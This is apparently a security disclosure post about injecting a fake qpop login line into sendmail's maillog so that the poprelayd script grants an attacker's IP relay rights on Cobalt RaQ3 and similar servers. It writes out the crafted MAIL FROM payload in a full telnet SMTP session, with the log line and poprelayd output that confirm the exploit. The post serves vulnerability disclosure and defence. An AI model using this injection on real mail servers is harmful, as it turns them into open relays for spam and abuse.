poprelayd and sendmail relay authentication problem (Cobalt Raq3)

Hi to all,

Poprelayd is a simple script that scan /var/log/maillog for valid pop
logins and updates a hash db used by sendmail to permit relaying for
those valid pop users, this method is called "Pop-before-smtp".

The syslog string searched by the script is in this form for the qpop
server

/POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9]\.]+)/)

On some cobalt raq3 servers (with the poprelayd add-on packet installed )
and in general on any system running the poprelayd script with sendmail is
possible to "inject" this string in the syslog using sendmail logging. So
anyone can insert a fake string with his own IP wich will be parsed by
poprelayd and that will permit the use of sendmail as a relay.

On cobalts the presence of poprelayd is revealed by the modified sendmail
relaying denied message "Relaying denied. Please check your mail first."

Example:

telnet dumbcobalt 25
Trying 123.123.123.123…
Connected to dumbcobalt
…
ehlo dumbcobalt
…
mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"
553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"…Domain name required

now the IP 66.66.66.66 can do relay :)

in fact, on dumbcobalt:

in /var/log/maillog

…reject=533 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org", size=0, class=0 …etc etc…

[root@dumbcobalt /]# /usr/sbin/poprelayd -p
66.66.66.66 7

;-)

Bye

INFIS Network Administrator & Security Officer
Department of Physics - University of Trieste
[email protected] - PGP Key 0x8E21FE82

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